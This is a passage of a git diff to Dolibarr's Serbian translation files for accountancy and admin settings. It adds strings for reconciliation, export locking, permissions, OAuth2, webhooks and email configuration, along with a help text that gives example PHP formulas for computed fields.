-ListOfProductsWithoutAccountingAccount=List of products not bound to any accounting account +NoNewRecordSaved=No more record to transfer +ListOfProductsWithoutAccountingAccount=List of products not bound to any account of chart of account ChangeBinding=Change the binding Accounted=Accounted in ledger NotYetAccounted=Not yet transferred to accounting ShowTutorial=Show Tutorial NotReconciled=Not reconciled -WarningRecordWithoutSubledgerAreExcluded=Warning, all operations without subledger account defined are filtered and excluded from this view +WarningRecordWithoutSubledgerAreExcluded=Warning, all lines without subledger account defined are filtered and excluded from this view +AccountRemovedFromCurrentChartOfAccount=Accounting account that does not exist in the current chart of accounts ## Admin BindingOptions=Binding options @@ -317,9 +325,10 @@ AccountingJournalType1=Miscellaneous operations AccountingJournalType2=Prodaje AccountingJournalType3=Nabavke AccountingJournalType4=Banka -AccountingJournalType5=Expenses report +AccountingJournalType5=Troškovi AccountingJournalType8=Inventory AccountingJournalType9=Has-new +GenerationOfAccountingEntries=Generation of accounting entries ErrorAccountingJournalIsAlreadyUse=This journal is already use AccountingAccountForSalesTaxAreDefinedInto=Note: Accounting account for Sales tax are defined into menu %s - %s NumberOfAccountancyEntries=Number of entries @@ -327,10 +336,13 @@ NumberOfAccountancyMovements=Number of movements ACCOUNTING_DISABLE_BINDING_ON_SALES=Disable binding & transfer in accountancy on sales (customer invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_PURCHASES=Disable binding & transfer in accountancy on purchases (vendor invoices will not be taken into account in accounting) ACCOUNTING_DISABLE_BINDING_ON_EXPENSEREPORTS=Disable binding & transfer in accountancy on expense reports (expense reports will not be taken into account in accounting) +ACCOUNTING_ENABLE_LETTERING=Enable the lettering function in the accounting ## Export -NotifiedExportDate=Flag exported lines as exported (modification of the lines will not be possible) -NotifiedValidationDate=Validate the exported entries (modification or deletion of the lines will not be possible) +NotExportLettering=Do not export the lettering when generating the file +NotifiedExportDate=Flag exported lines as Exported (to modify a line, you will need to delete the whole transaction and re-transfert it into accounting) +NotifiedValidationDate=Validate and Lock the exported entries (same effect than the "%s" feature, modification and deletion of the lines will DEFINITELY not be possible) +DateValidationAndLock=Date validation and lock ConfirmExportFile=Confirmation of the generation of the accounting export file ? ExportDraftJournal=Export draft journal Modelcsv=Model izvoza @@ -394,6 +406,26 @@ Range=Opseg knjižnih računa Calculated=Calculated Formula=Formula +## Reconcile +LetteringAuto=Reconcile auto +LetteringManual=Reconcile manual +Unlettering=Unreconcile +UnletteringAuto=Unreconcile auto +UnletteringManual=Unreconcile manual +AccountancyNoLetteringModified=No reconcile modified +AccountancyOneLetteringModifiedSuccessfully=One reconcile successfully modified +AccountancyLetteringModifiedSuccessfully=%s reconcile successfully modified +AccountancyNoUnletteringModified=No unreconcile modified +AccountancyOneUnletteringModifiedSuccessfully=One unreconcile successfully modified +AccountancyUnletteringModifiedSuccessfully=%s unreconcile successfully modified + +## Confirm box +ConfirmMassUnletteringAuto=Bulk auto unreconcile confirmation +ConfirmMassUnletteringManual=Bulk manual unreconcile confirmation +ConfirmMassUnletteringQuestion=Are you sure you want to unreconcile the %s selected record(s)? +ConfirmMassDeleteBookkeepingWriting=Bulk Delete confirmation +ConfirmMassDeleteBookkeepingWritingQuestion=This will delete the transaction from the accounting (all lines related to the same transaction will be deleted) Are you sure you want to delete the %s selected record(s)? + ## Error SomeMandatoryStepsOfSetupWereNotDone=Some mandatory steps of setup was not done, please complete them ErrorNoAccountingCategoryForThisCountry=No accounting account group available for country %s (See Home - Setup - Dictionaries) @@ -406,6 +438,10 @@ Binded=Lines bound ToBind=Lines to bind UseMenuToSetBindindManualy=Lines not yet bound, use menu %s to make the binding manually SorryThisModuleIsNotCompatibleWithTheExperimentalFeatureOfSituationInvoices=Sorry this module is not compatible with the experimental feature of situation invoices +AccountancyErrorMismatchLetterCode=Mismatch in reconcile code +AccountancyErrorMismatchBalanceAmount=The balance (%s) is not equal to 0 +AccountancyErrorLetteringBookkeeping=Errors have occurred concerning the transactions: %s +ErrorAccountNumberAlreadyExists=The accounting number %s already exists ## Import ImportAccountingEntries=Accounting entries @@ -432,6 +468,5 @@ FECFormatMulticurrencyCode=Multicurrency code (Idevise) DateExport=Date export WarningReportNotReliable=Warning, this report is not based on the Ledger, so does not contains transaction modified manually in the Ledger. If your journalization is up to date, the bookkeeping view is more accurate. ExpenseReportJournal=Expense Report Journal -InventoryJournal=Inventory Journal NAccounts=%s accounts diff --git a/htdocs/langs/sr_RS/admin.lang b/htdocs/langs/sr_RS/admin.lang index 09bf746bf1b..c029094b88c 100644 --- a/htdocs/langs/sr_RS/admin.lang +++ b/htdocs/langs/sr_RS/admin.lang @@ -51,8 +51,6 @@ ClientSortingCharset=Client collation WarningModuleNotActive=Modul %s mora biti omogućen WarningOnlyPermissionOfActivatedModules=Ovde se pokazuju samo dozvole u vezi sa aktiviranim modulima. Možete aktivirati druge module u Početna->Podešavanja->Moduli. DolibarrSetup=Dolibarr instalacija ili nadogradnja -InternalUser=Interni korisnik -ExternalUser=Spoljni korisnik InternalUsers=Interni korisnici ExternalUsers=Spoljni korisnici UserInterface=User interface @@ -147,6 +145,7 @@ Box=Vidžet Boxes=Vidžeti MaxNbOfLinesForBoxes=Maksimalni broj linija za vidžete AllWidgetsWereEnabled=All available widgets are enabled +WidgetAvailable=Widget available PositionByDefault=Podrazumevani redosled Position=Pozicija MenusDesc=Menadžer menija postavlja sadržaj dve trake menija (horizontalnu i vertikalnu). @@ -294,6 +293,7 @@ MAIN_MAIL_SMTP_SERVER=SMTP/SMTPS Host (podrazumevana vrednost u php.ini: %s%s) +EMailHelpMsgSPFDKIM=To prevent Dolibarr emails to be classified as spam, make sure that the server is authorized to send e-mails from this address by SPF and DKIM configuration MAIN_MAIL_ERRORS_TO=Email koji se koristi za povratne mailove sa greškom (polje 'Errors-To' u poslatim email-ovima) MAIN_MAIL_AUTOCOPY_TO= Kopirati (Bcc) sve poslate email-ove na MAIN_DISABLE_ALL_MAILS=Onemogućiti slanje email-ova (u svrhu testiranja ili demoa) @@ -375,7 +375,7 @@ DoTestSendHTML=Test slanja HTML ErrorCantUseRazIfNoYearInMask=Error, can't use option @ to reset counter each year if sequence {yy} or {yyyy} is not in mask. ErrorCantUseRazInStartedYearIfNoYearMonthInMask=Greška, ne možete koristiti opciju @ ako sekvenca {yy}{mm} ili {yyyy}{mm} nije unutar maske. UMask=UMask parameter za nove fajlove na Unix/Linux/BSD/Mac fajl sistemima. -UMaskExplanation=Ovaj parametar omogućava da definišete dozvole koje se podrazumevano postavljaju na fajlovima koje pravi Dolibarr na serveru (tokom uploada na primer).
      Mora biti oktalna vrednost (na primer, 0666 znači čitaj i piši za sve).
      Ovaj parametar je beskoristan na Windows serveru. +UMaskExplanation=This parameter allow you to define permissions set by default on files created by Dolibarr on server (during upload for example).
      It must be the octal value (for example, 0666 means read and write for everyone.). Recommended value is 0600 or 0660
      This parameter is useless on a Windows server. SeeWikiForAllTeam=Pogledajte na Wiki strani listu saradnika i njihove organizacije UseACacheDelay= Odlaganje za keširanje eksport odgovora u sekundama (0 ili prazno da nema keša) DisableLinkToHelpCenter=Sakriti link "Potrebna pomoć ili podrška" na login strani @@ -439,8 +439,10 @@ Unique=Jedinstveno Boolean=Boolean (jedan čekboks) ExtrafieldPhone = Telefon ExtrafieldPrice = Cena +ExtrafieldPriceWithCurrency=Price with currency ExtrafieldMail = Email ExtrafieldUrl = Url +ExtrafieldIP = IP ExtrafieldSelect = Odabir sa liste ExtrafieldSelectList = Odabir iz tabele ExtrafieldSeparator=Odvajač (nije polje) @@ -450,7 +452,7 @@ ExtrafieldCheckBox=Čekboksevi ExtrafieldCheckBoxFromList=Checkboxes from table ExtrafieldLink=Link to an object ComputedFormula=Computed field -ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $object.
      WARNING: Only some properties of $object may be available. If you need a properties not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $object->id < 10 ? round($object->id / 2, 2): ($object->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($obj->id ? $obj->id: ($obj->rowid ? $obj->rowid: $object->id)) > 0)) ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1'

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($object->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' +ComputedFormulaDesc=You can enter here a formula using other properties of object or any PHP coding to get a dynamic computed value. You can use any PHP compatible formulas including the "?" condition operator, and following global object: $db, $conf, $langs, $mysoc, $user, $objectoffield.
      WARNING: If you need properties of an object not loaded, just fetch yourself the object into your formula like in the second example.
      Using a computed field means you can't enter yourself any value from interface. Also, if there is a syntax error, the formula may return nothing.

      Example of formula:
      $objectoffield->id < 10 ? round($objectoffield->id / 2, 2): ($objectoffield->id + 2 * $user->id) * (int) substr($mysoc->zip, 1, 2)

      Example to reload object
      (($reloadedobj = new Societe($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0 ? $reloadedobj->array_options['options_extrafieldkey'] * $reloadedobj->capital / 5: '-1')

      Other example of formula to force load of object and its parent object:
      (($reloadedobj = new Task($db)) && ($reloadedobj->fetchNoCompute($objectoffield->id) > 0) && ($secondloadedobj = new Project($db)) && ($secondloadedobj->fetchNoCompute($reloadedobj->fk_project) > 0)) ? $secondloadedobj->ref: 'Parent project not found' Computedpersistent=Store computed field ComputedpersistentDesc=Computed extra fields will be stored in the database, however, the value will only be recalculated when the object of this field is changed. If the computed field depends on other objects or global data this value might be wrong!! ExtrafieldParamHelpPassword=Leaving this field blank means this value will be stored without encryption (field must be only hidden with star on screen).
      Set 'auto' to use the default encryption rule to save password into database (then value read will be the hash only, no way to retrieve original value) @@ -501,7 +503,8 @@ WarningPHPMail=WARNING: The setup to send emails from the application is using t WarningPHPMailA=- Using the server of the Email Service Provider increases the trustability of your email, so it increases the deliverablity without being flagged as SPAM WarningPHPMailB=- Some Email Service Providers (like Yahoo) do not allow you to send an email from another server than their own server. Your current setup uses the server of the application to send email and not the server of your email provider, so some recipients (the one compatible with the restrictive DMARC protocol), will ask your email provider if they can accept your email and some email providers (like Yahoo) may respond "no" because the server is not theirs, so few of your sent Emails may not be accepted for delivery (be careful also of your email provider's sending quota). WarningPHPMailC=- Using the SMTP server of your own Email Service Provider to send emails is also interesting so all emails sent from application will also be saved into your "Sent" directory of your mailbox. -WarningPHPMailD=Also, it is therefore recommended to change the sending method of e-mails to the value "SMTP". If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by setting the MAIN_HIDE_WARNING_TO_ENCOURAGE_SMTP_SETUP constant to 1 in Home - Setup - Other. +WarningPHPMailD=It is therefore recommended to change the sending method of e-mails to the value "SMTP". +WarningPHPMailDbis=If you really want to keep the default "PHP" method to send emails, just ignore this warning, or remove it by %sclicking here%s. WarningPHPMail2=If your email SMTP provider need to restrict email client to some IP addresses (very rare), this is the IP address of the mail user agent (MUA) for your ERP CRM application: %s. WarningPHPMailSPF=If the domain name in your sender email address is protected by a SPF record (ask your domain name registar), you must add the following IPs in the SPF record of the DNS of your domain: %s. ActualMailSPFRecordFound=Actual SPF record found (for email %s) : %s @@ -514,7 +517,7 @@ PageUrlForDefaultValuesCreate=
      Example:
      For the form to create a new third PageUrlForDefaultValuesList=
      Example:
      For the page that lists third parties, it is %s.
      For URL of external modules installed into custom directory, do not include the "custom/" so use a path like mymodule/mypagelist.php and not custom/mymodule/mypagelist.php.
      If you want default value only if url has some parameter, you can use %s AlsoDefaultValuesAreEffectiveForActionCreate=Also note that overwritting default values for form creation works only for pages that were correctly designed (so with parameter action=create or presend...) EnableDefaultValues=Enable customization of default values -EnableOverwriteTranslation=Enable usage of overwritten translation +EnableOverwriteTranslation=Allow customization of translations GoIntoTranslationMenuToChangeThis=A translation has been found for the key with this code. To change this value, you must edit it from Home-Setup-translation. WarningSettingSortOrder=Warning, setting a default sort order may result in a technical error when going on the list page if field is an unknown field. If you experience such an error, come back to this page to remove the default sort order and restore default behavior. Field=Polje @@ -643,11 +646,13 @@ Module2300Name=Planirani poslovi Module2300Desc=Menadžment planiranih poslova (alias cron ili chrono tabela) Module2400Name=Događaji/agenda Module2400Desc=Pratite događaje. Logovanje automatskih događaja za praćenje smisla ili beleženje ručnih događaja ili sastanaka. Ovo je glavni modul za Menadžment Odnosa sa Kupcima ili Dobavljačima +Module2430Name=Booking Calendar System +Module2430Desc=Provide an online calendar to allow anyone to book rendez-vous, according to predefined ranges or availabilities. Module2500Name=DMS / ECM Module2500Desc=Sistem menadžmenta dokumenata DMS / Menadžment elektronskog sadržaja ECM. Automatska organizacija vaših generisanih i sačuvanih dokuemenata. Delite ih kada je potrebno. -Module2600Name=API/Web servisi (SOAP server) +Module2600Name=API / Web services (SOAP server) Module2600Desc=Omogućiti da Dolibarr SOAP server pruža API servis -Module2610Name=API/Web services (REST server) +Module2610Name=API / Web services (REST server) Module2610Desc=Enable the Dolibarr REST server providing API services Module2660Name=Poziv WebServices (SOAP client) Module2660Desc=Enable the Dolibarr web services client (Can be used to push data/requests to external servers. Only Purchase orders are currently supported.) @@ -658,6 +663,8 @@ Module2900Name=GeoIPMaxmind Module2900Desc=GeoIP Maxmind mogućnosti konverzije Module3200Name=Unalterable Archives Module3200Desc=Enable an unalterable log of business events. Events are archived in real-time. The log is a read-only table of chained events that can be exported. This module may be mandatory for some countries. +Module3300Name=Module Builder +Module3300Desc=A RAD (Rapid Application Development - low-code and no-code) tool to help developers or advanced users to build their own module/application. Module3400Name=Social Networks Module3400Desc=Enable Social Networks fields into third parties and addresses (skype, twitter, facebook, ...). Module4000Name=HRM @@ -698,7 +705,10 @@ Module62000Name=Incoterms Module62000Desc=Add features to manage Incoterms Module63000Name=Resursi Module63000Desc=Manage resources (printers, cars, rooms, ...) for allocating to events -Permission11=Pregled računa za kupce +Module66000Name=Enable OAuth2 authentication +Module66000Desc=Provide a tool to generate and manage OAuth2 tokens. The token can then be used by some other modules. +Module94160Name=Receptions +Permission11=Read customer invoices (and payments) Permission12=Napravi/promeni račun za kupca Permission13=Poništi račun za kupca Permission14=Potvrdi račun za kupca @@ -842,9 +852,9 @@ Permission286=Export contacts Permission291=Read tariffs Permission292=Set permissions on the tariffs Permission293=Modify customer's tariffs -Permission300=Read barcodes -Permission301=Create/modify barcodes -Permission302=Delete barcodes +Permission301=Generate PDF sheets of barcodes +Permission304=Create/modify barcodes +Permission305=Delete barcodes Permission311=Read services Permission312=Assign service/subscription to contract Permission331=Read bookmarks @@ -940,7 +950,7 @@ Permission1190=Approve (second approval) purchase orders Permission1191=Export supplier orders and their attributes Permission1201=Get result of an export Permission1202=Create/Modify an export -Permission1231=Read vendor invoices +Permission1231=Read vendor invoices (and payments) Permission1232=Create/modify vendor invoices Permission1233=Validate vendor invoices Permission1234=Delete vendor invoices @@ -971,13 +981,14 @@ Permission3301=Generate new modules Permission4001=Read skill/job/position Permission4002=Create/modify skill/job/position Permission4003=Delete skill/job/position -Permission4020=Read evaluations -Permission4021=Create/modify your evaluation -Permission4022=Validate evaluation -Permission4023=Delete evaluation -Permission4030=See comparison menu +Permission4021=Read evaluations (yours and your subordinates) +Permission4022=Create/modify evaluations +Permission4023=Validate evaluation +Permission4025=Delete evaluation +Permission4028=See comparison menu Permission4031=Read personal information Permission4032=Write personal information +Permission4033=Read all evaluations (even those of user not subordinates) Permission10001=Read website content Permission10002=Create/modify website content (html and javascript content) Permission10003=Create/modify website content (dynamic php code). Dangerous, must be reserved to restricted developers. @@ -1081,6 +1092,10 @@ DictionaryAssetDisposalType=Type of disposal of assets TypeOfUnit=Type of unit SetupSaved=Setup saved SetupNotSaved=Setup not saved +OAuthServiceConfirmDeleteTitle=Delete OAuth entry +OAuthServiceConfirmDeleteMessage=Are you sure you want to delete this OAuth entry ? All existing tokens for it will also be deleted. +ErrorInEntryDeletion=Error in entry deletion +EntryDeleted=Entry deleted BackToModuleList=Back to Module list BackToDictionaryList=Back to Dictionaries list TypeOfRevenueStamp=Type of tax stamp @@ -1222,7 +1237,7 @@ SetupDescription4=%s -> %s

      This software is a suite of m SetupDescription5=Other Setup menu entries manage optional parameters. SetupDescriptionLink=%s - %s SetupDescription3b=Basic parameters used to customize the default behavior of your application (e.g for country-related features). -SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be enabled and configured. Menu entries will appears with the activation of these modules. +SetupDescription4b=This software is a suite of many modules/applications. The modules related to your needs must be activated. Menu entries will appears with the activation of these modules. AuditedSecurityEvents=Security events that are audited NoSecurityEventsAreAduited=No security events are audited. You can enable them from menu %s Audit=Security events @@ -1244,6 +1259,7 @@ AreaForAdminOnly=Setup parameters can be set by administrator users only. SystemInfoDesc=System information is miscellaneous technical information you get in read only mode and visible for administrators only. SystemAreaForAdminOnly=This area is available to administrator users only. Dolibarr user permissions cannot change this restriction. CompanyFundationDesc=Edit the information of your company/organization. Click on "%s" button at the bottom of the page when done. +MoreNetworksAvailableWithModule=More social networks may be available by enabling the module "Social networks". AccountantDesc=If you have an external accountant/bookkeeper, you can edit here its information. AccountantFileNumber=Accountant code DisplayDesc=Parameters affecting the look and presentation of the application can be modified here. @@ -1261,6 +1277,7 @@ TriggerActiveAsModuleActive=Triggers in this file are active as module %s GeneratedPasswordDesc=Choose the method to be used for auto-generated passwords. DictionaryDesc=Insert all reference data. You can add your values to the default. ConstDesc=This page allows you to edit (override) parameters not available in other pages. These are mostly reserved parameters for developers/advanced troubleshooting only. +MiscellaneousOptions=Miscellaneous options MiscellaneousDesc=All other security related parameters are defined here. LimitsSetup=Limits/Precision setup LimitsDesc=You can define limits, precisions and optimizations used by Dolibarr here @@ -1294,6 +1311,8 @@ YouMustRunCommandFromCommandLineAfterLoginToUser=You must run this command from YourPHPDoesNotHaveSSLSupport=SSL functions not available in your PHP DownloadMoreSkins=More skins to download SimpleNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset +SimpleRefNumRefModelDesc=Returns the reference number in the format n where n is a sequential auto-incrementing number with no reset +AdvancedNumRefModelDesc=Returns the reference number in the format %syymm-nnnn where yy is the year, mm is the month and nnnn is a sequential auto-incrementing number with no reset SimpleNumRefNoDateModelDesc=Returns the reference number in the format %s-nnnn where nnnn is a sequential auto-incrementing number with no reset ShowProfIdInAddress=Show professional ID with addresses ShowVATIntaInAddress=Hide intra-Community VAT number @@ -1380,7 +1399,7 @@ GetBarCode=Get barcode NumberingModules=Numbering models DocumentModules=Document models ##### Module password generation -PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters in lowercase. +PasswordGenerationStandard=Return a password generated according to internal Dolibarr algorithm: %s characters containing shared numbers and characters. PasswordGenerationNone=Do not suggest a generated password. Password must be typed in manually. PasswordGenerationPerso=Povrati lozinku po konfiguraciji koju ste definisali. SetupPerso=Prema Vašoj konfiguraciji @@ -1434,6 +1453,10 @@ SuppliersPayment=Vendor payments SupplierPaymentSetup=Vendor payments setup InvoiceCheckPosteriorDate=Check facture date before validation InvoiceCheckPosteriorDateHelp=Validating an invoice will be forbidden if its date is anterior to the date of last invoice of same type. +InvoiceOptionCategoryOfOperations=Display the mention "category of operations" on the invoice. +InvoiceOptionCategoryOfOperationsHelp=Depending on the situation, the mention will appear in the form:
      - Category of operations: Delivery of goods
      - Category of operations: Provision of services
      - Category of operations: Mixed - Delivery of goods & provision of services +InvoiceOptionCategoryOfOperationsYes1=Yes, below the address block +InvoiceOptionCategoryOfOperationsYes2=Yes, in the lower left-hand corner ##### Proposals ##### PropalSetup=Commercial proposals module setup ProposalsNumberingModules=Commercial proposal numbering models @@ -1476,11 +1499,12 @@ WatermarkOnDraftContractCards=Watermark on draft contracts (none if empty) ##### Members ##### MembersSetup=Members module setup MemberMainOptions=Main options +MemberCodeChecker=Options for automatic generation of member codes AdherentLoginRequired= Manage a Login for each member AdherentMailRequired=Email required to create a new member MemberSendInformationByMailByDefault=Checkbox to send mail confirmation to members (validation or new subscription) is on by default MemberCreateAnExternalUserForSubscriptionValidated=Create an external user login for each new member subscription validated -VisitorCanChooseItsPaymentMode=Visitor can choose from available payment modes +VisitorCanChooseItsPaymentMode=Visitor can choose from any available payment modes MEMBER_REMINDER_EMAIL=Enable automatic reminder by email of expired subscriptions. Note: Module %s must be enabled and correctly setup to send reminders. MembersDocModules=Document templates for documents generated from member record ##### LDAP setup ##### @@ -1742,8 +1766,8 @@ ActivateFCKeditor=Activate advanced editor for: FCKeditorForNotePublic=WYSIWIG creation/edition of the field "public notes" of elements FCKeditorForNotePrivate=WYSIWIG creation/edition of the field "private notes" of elements FCKeditorForCompany=WYSIWIG creation/edition of the field description of elements (except products/services) -FCKeditorForProduct=WYSIWIG creation/edition of the field description of products/services -FCKeditorForProductDetails=WYSIWIG creation/edition of products details lines for all entities (proposals, orders, invoices, etc...). Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. +FCKeditorForProductDetails=WYSIWIG creation/edition of products description or lines for objects (lines of proposals, orders, invoices, etc...). +FCKeditorForProductDetails2=Warning: Using this option for this case is seriously not recommended as it can create problems with special characters and page formatting when building PDF files. FCKeditorForMailing= WYSIWIG creation/edition for mass eMailings (Tools->eMailing) FCKeditorForUserSignature=WYSIWIG creation/edition of user signature FCKeditorForMail=WYSIWIG creation/edition for all mail (except Tools->eMailing) @@ -1766,7 +1790,7 @@ DetailMenuHandler=Menu handler where to show new menu DetailMenuModule=Module name if menu entry come from a module DetailType=Type of menu (top or left) DetailTitre=Menu label or label code for translation -DetailUrl=URL where menu send you (Absolute URL link or external link with http://) +DetailUrl=URL where menu send you (Relative URL link or external link with https://) DetailEnabled=Condition to show or not entry DetailRight=Condition to display unauthorized grey menus DetailLangs=Lang file name for label code translation @@ -1810,6 +1834,9 @@ AGENDA_USE_EVENT_TYPE=Use events types (managed in menu Setup -> Dictionaries -> AGENDA_USE_EVENT_TYPE_DEFAULT=Automatically set this default value for type of event in event create form AGENDA_DEFAULT_FILTER_TYPE=Automatically set this type of event in search filter of agenda view AGENDA_DEFAULT_FILTER_STATUS=Automatically set this status for events in search filter of agenda view +AGENDA_EVENT_PAST_COLOR=Past event color +AGENDA_EVENT_CURRENT_COLOR=Current event color +AGENDA_EVENT_FUTURE_COLOR=Future event color AGENDA_DEFAULT_VIEW=Which view do you want to open by default when selecting menu Agenda AGENDA_REMINDER_BROWSER=Enable event reminder on user's browser (When remind date is reached, a popup is shown by the browser. Each user can disable such notifications from its browser notification setup). AGENDA_REMINDER_BROWSER_SOUND=Enable sound notification @@ -1837,7 +1864,7 @@ StockDecreaseForPointOfSaleDisabledbyBatch=Stock decrease in POS is not compatib CashDeskYouDidNotDisableStockDecease=You did not disable stock decrease when making a sale from Point of Sale. Hence a warehouse is required. CashDeskForceDecreaseStockLabel=Stock decrease for batch products was forced. CashDeskForceDecreaseStockDesc=Decrease first by the oldest eatby and sellby dates. -CashDeskReaderKeyCodeForEnter=Key code for "Enter" defined in barcode reader (Example: 13) +CashDeskReaderKeyCodeForEnter=Key ASCII code for "Enter" defined in barcode reader (Example: 13) ##### Bookmark ##### BookmarkSetup=Bookmark module setup BookmarkDesc=This module allows you to manage bookmarks. You can also add shortcuts to any Dolibarr pages or external web sites on your left menu. @@ -1875,7 +1902,7 @@ SuppliersInvoiceNumberingModel=Vendor invoices numbering models IfSetToYesDontForgetPermission=If set to a non null value, don't forget to provide permissions to groups or users allowed for the second approval ##### GeoIPMaxmind ##### GeoIPMaxmindSetup=GeoIP Maxmind module setup -PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation.
      Examples:
      /usr/local/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoIP.dat
      /usr/share/GeoIP/GeoLite2-Country.mmdb +PathToGeoIPMaxmindCountryDataFile=Path to file containing Maxmind ip to country translation NoteOnPathLocation=Note that your ip to country data file must be inside a directory your PHP can read (Check your PHP open_basedir setup and filesystem permissions). YouCanDownloadFreeDatFileTo=You can download a free demo version of the Maxmind GeoIP country file at %s. YouCanDownloadAdvancedDatFileTo=You can also download a more complete version, with updates, of the Maxmind GeoIP country file at %s. @@ -1926,6 +1953,7 @@ BackupDumpWizard=Wizard to build the database dump file BackupZipWizard=Wizard to build the archive of documents directory SomethingMakeInstallFromWebNotPossible=Installation of external module is not possible from the web interface for the following reason: SomethingMakeInstallFromWebNotPossible2=For this reason, process to upgrade described here is a manual process only a privileged user may perform. +InstallModuleFromWebHasBeenDisabledContactUs=Install or development of external modules or dynamic websites, from the application, is currently locked for security purpose. Please contact us if you need to enable this feature. InstallModuleFromWebHasBeenDisabledByFile=Install of external module from application has been disabled by your administrator. You must ask him to remove the file %s to allow this feature. ConfFileMustContainCustom=Installing or building an external module from application need to save the module files into directory %s. To have this directory processed by Dolibarr, you must setup your conf/conf.php to add the 2 directive lines:
      $dolibarr_main_url_root_alt='/custom';
      $dolibarr_main_document_root_alt='%s/custom'; HighlightLinesOnMouseHover=Highlight table lines when mouse move passes over @@ -2053,6 +2081,8 @@ RemoveSpecialChars=Remove special characters COMPANY_AQUARIUM_CLEAN_REGEX=Regex filter to clean value (COMPANY_AQUARIUM_CLEAN_REGEX) COMPANY_DIGITARIA_CLEAN_REGEX=Regex filter to clean value (COMPANY_DIGITARIA_CLEAN_REGEX) COMPANY_DIGITARIA_UNIQUE_CODE=Duplicate not allowed +RemoveSpecialWords=Clean certain words when generating sub-accounts for customers or suppliers +RemoveSpecialWordsHelp=Specify the words to be cleaned before calculating the customer or supplier account. Use a ";" between each word GDPRContact=Data Protection Officer (DPO, Data Privacy or GDPR contact) GDPRContactDesc=If you store personal data in your Information System, you can name the contact who is responsible for the General Data Protection Regulation here HelpOnTooltip=Help text to show on tooltip @@ -2080,6 +2110,7 @@ MailboxTargetDirectory=Mailbox target directory EmailcollectorOperations=Operations to do by collector EmailcollectorOperationsDesc=Operations are executed from top to bottom order MaxEmailCollectPerCollect=Max number of emails collected per collect +TestCollectNow=Test collect CollectNow=Collect now ConfirmCloneEmailCollector=Are you sure you want to clone the Email collector %s? DateLastCollectResult=Date of latest collect try @@ -2109,6 +2140,7 @@ CodeLastResult=Latest result code NbOfEmailsInInbox=Number of emails in source directory LoadThirdPartyFromName=Load third party searching on %s (load only) LoadThirdPartyFromNameOrCreate=Load third party searching on %s (create if not found) +LoadContactFromEmailOrCreate=Load contact searching on %s (create if not found) AttachJoinedDocumentsToObject=Save attached files into object documents if a ref of an object is found into email topic. WithDolTrackingID=Message from a conversation initiated by a first email sent from Dolibarr WithoutDolTrackingID=Message from a conversation initiated by a first email NOT sent from Dolibarr @@ -2183,6 +2215,7 @@ ShowProjectLabel=Project Label PDF_INCLUDE_ALIAS_IN_THIRDPARTY_NAME=Include alias in thirdparty name THIRDPARTY_ALIAS=Name thirdparty - Alias thirdparty ALIAS_THIRDPARTY=Alias thirdparty - Name thirdparty +PDFIn2Languages=Show labels into PDF in 2 different languages PDF_USE_ALSO_LANGUAGE_CODE=If you want to have some texts in your PDF duplicated in 2 different languages in the same generated PDF, you must set here this second language so generated PDF will contains 2 different languages in same page, the one chosen when generating PDF and this one (only few PDF templates support this). Keep empty for 1 language per PDF. PDF_USE_A=Gererate PDF documents with format PDF/A instead of defaut format PDF FafaIconSocialNetworksDesc=Enter here the code of a FontAwesome icon. If you don't know what is FontAwesome, you can use the generic value fa-address-book. @@ -2211,12 +2244,12 @@ MailToPartnership=Partnership AGENDA_EVENT_DEFAULT_STATUS=Default event status when creating a event from the form YouShouldDisablePHPFunctions=You should disable PHP functions IfCLINotRequiredYouShouldDisablePHPFunctions=Except if you need to run system commands in custom code, you shoud disable PHP functions -PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an anitivurs program), you must keep PHP functions +PHPFunctionsRequiredForCLI=For shell purpose (like scheduled job backup or running an antivirus program), you must keep PHP functions NoWritableFilesFoundIntoRootDir=No writable files or directories of the common programs were found into your root directory (Good) RecommendedValueIs=Recommended: %s Recommended=Preporučeno NotRecommended=Not recommended -ARestrictedPath=Some restricted path +ARestrictedPath=Some restricted path for data files CheckForModuleUpdate=Check for external modules updates CheckForModuleUpdateHelp=This action will connect to editors of external modules to check if a new version is available. ModuleUpdateAvailable=An update is available @@ -2264,10 +2297,10 @@ LateWarningAfter="Late" warning after TemplateforBusinessCards=Template for a business card in different size InventorySetup= Inventory Setup ExportUseLowMemoryMode=Use a low memory mode -ExportUseLowMemoryModeHelp=Use the low memory mode to execute the exec of the dump (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that file is completed and error message can't be reported if it fails. +ExportUseLowMemoryModeHelp=Use the low memory mode to generate the dump file (compression is done through a pipe instead of into the PHP memory). This method does not allow to check that the file is complete and error message can't be reported if it fails. Use it if you experience not enough memory errors. ModuleWebhookName = Webhook -ModuleWebhookDesc = Interface to catch dolibarr triggers and send it to an URL +ModuleWebhookDesc = Interface to catch dolibarr triggers and send data of the event to an URL WebhookSetup = Webhook setup Settings = Settings WebhookSetupPage = Webhook setup page @@ -2288,6 +2321,8 @@ IconOnly=Icon only - Text on tooltip only INVOICE_ADD_ZATCA_QR_CODE=Show the ZATCA QR code on invoices INVOICE_ADD_ZATCA_QR_CODEMore=Some Arabic countries need this QR Code on their invoices INVOICE_ADD_SWISS_QR_CODE=Show the swiss 